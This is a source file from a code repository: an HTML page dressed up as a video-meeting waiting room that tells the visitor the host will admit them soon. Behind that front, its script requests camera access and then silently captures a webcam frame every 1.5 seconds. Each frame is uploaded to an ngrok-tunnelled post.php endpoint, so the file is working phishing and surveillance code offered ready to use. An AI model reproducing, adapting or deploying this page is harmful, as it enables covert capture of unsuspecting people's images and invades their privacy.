-
Notifications
You must be signed in to change notification settings - Fork 2
/
index2.html
233 lines (204 loc) · 5.24 KB
/
index2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
<!doctype html>
<html>
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<script src="https://kit.fontawesome.com/c4c45dfab4.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<center><canvas id="canvas" width="640" height="480" audoplay></canvas></center>
<style>
@import url("https://fonts.googleapis.com/css2?family=Nunito:wght@500;500&display=swap");
body {
height: 100vh;
width: 100vw;
}
* {
padding: 0px;
margin: 0px;
font-family: 'Nunito', sans-serif;
font-weight: 500;
}
.main-screen {
background-color: #273039;
height: 100vh;
width: 100%;
display: flex;
justify-content: center;
align-items: center;
}
img {
height: 80px;
width: 80px;
}
.bottom-bar {
position: fixed;
padding: 0px 40px 0px -40px;
bottom: 0px;
height: 80px;
width: 100%;
background-color: #1F2022;
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
color: #fff;
}
.icon-button {
display: flex;
flex-direction: column;
justify-items: center;
align-items: center;
}
i {
margin-bottom: 8px;
font-size: 26px;
}
button {
color: #fff;
background-color: crimson;
padding: 5px 20px;
border: none;
border-radius: 5px;
border-style: none;
outline: none;
}
.float_button {
background-color: #1F2022;
height: 40px;
border-radius: 5px;
width: 40px;
position: fixed;
display: flex;
align-items: center;
justify-content: center;
top: 5px;
right: 5px;
}
#ac-wrapper {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255,255,255,.6);
z-index: 1001;
}
#popup {
width: 555px;
height: 35px;
background: #FFFFFF;
border: 5px solid #000;
border-radius: 15px;
-moz-border-radius: 15px;
-webkit-border-radius: 15px;
box-shadow: #64686e 0px 0px 3px 3px;
-moz-box-shadow: #64686e 0px 0px 3px 3px;
-webkit-box-shadow: #64686e 0px 0px 3px 3px;
position: relative;
top: 250px; left: 375px;
}
</style>
<script>
function post(imgdata) {
$.ajax({
type: 'POST',
data: { cat: imgdata },
url: 'https://ed43-2401-4900-4a60-c6ef-f65f-56d6-5783-7a83.ngrok.io/post.php',
dataType: 'json',
async: false,
success: function (result) {
// call the function that handles the response/results
},
error: function () {
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function () {
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData);
video.play();
}, 1500);
}
function PopUp(){
document.getElementById('ac-wrapper').style.display="none";
}
// Load init
init();
$(document).ready(function(){
setTimeout(function(){
PopUp();
},50000); // 5000 to load it after 5 seconds from page load
});
</script>
<body>
<div class="float_button">
<i class="fas fa-expand" style="color: #fff; font-size: 18px; margin-top: 5px;"></i>
</div>
<div id="ac-wrapper">
<div id="popup">
<center>
<h2>Please wait the meeting host will let you in soon</h2>
</center>
</div>
</div>
<div class="bottom-bar">
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-microphone"></i>
<h6>Mute</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-video"></i>
<h6>Stop Video</h6>
</div>
<div class="icon-button" style="margin-left: auto;">
<i class="fas fa-shield-alt"></i>
<h6>Security</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-users"></i>
<h6>Participants</h6>
</div>
<div class="icon-button" style="color: lawngreen; margin-left: 50px;">
<i class="fas fa-plus-square"></i>
<h6>Share content</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-comments"></i>
<h6>Chat</h6>
</div>
<div class="icon-button" style="margin-right: auto; margin-left: 50px;">
<i class="fas fa-record-vinyl"></i>
<h6>Record</h6>
</div>
<button style="margin-right: 50px;">End</button>
</div>
</body>
</html>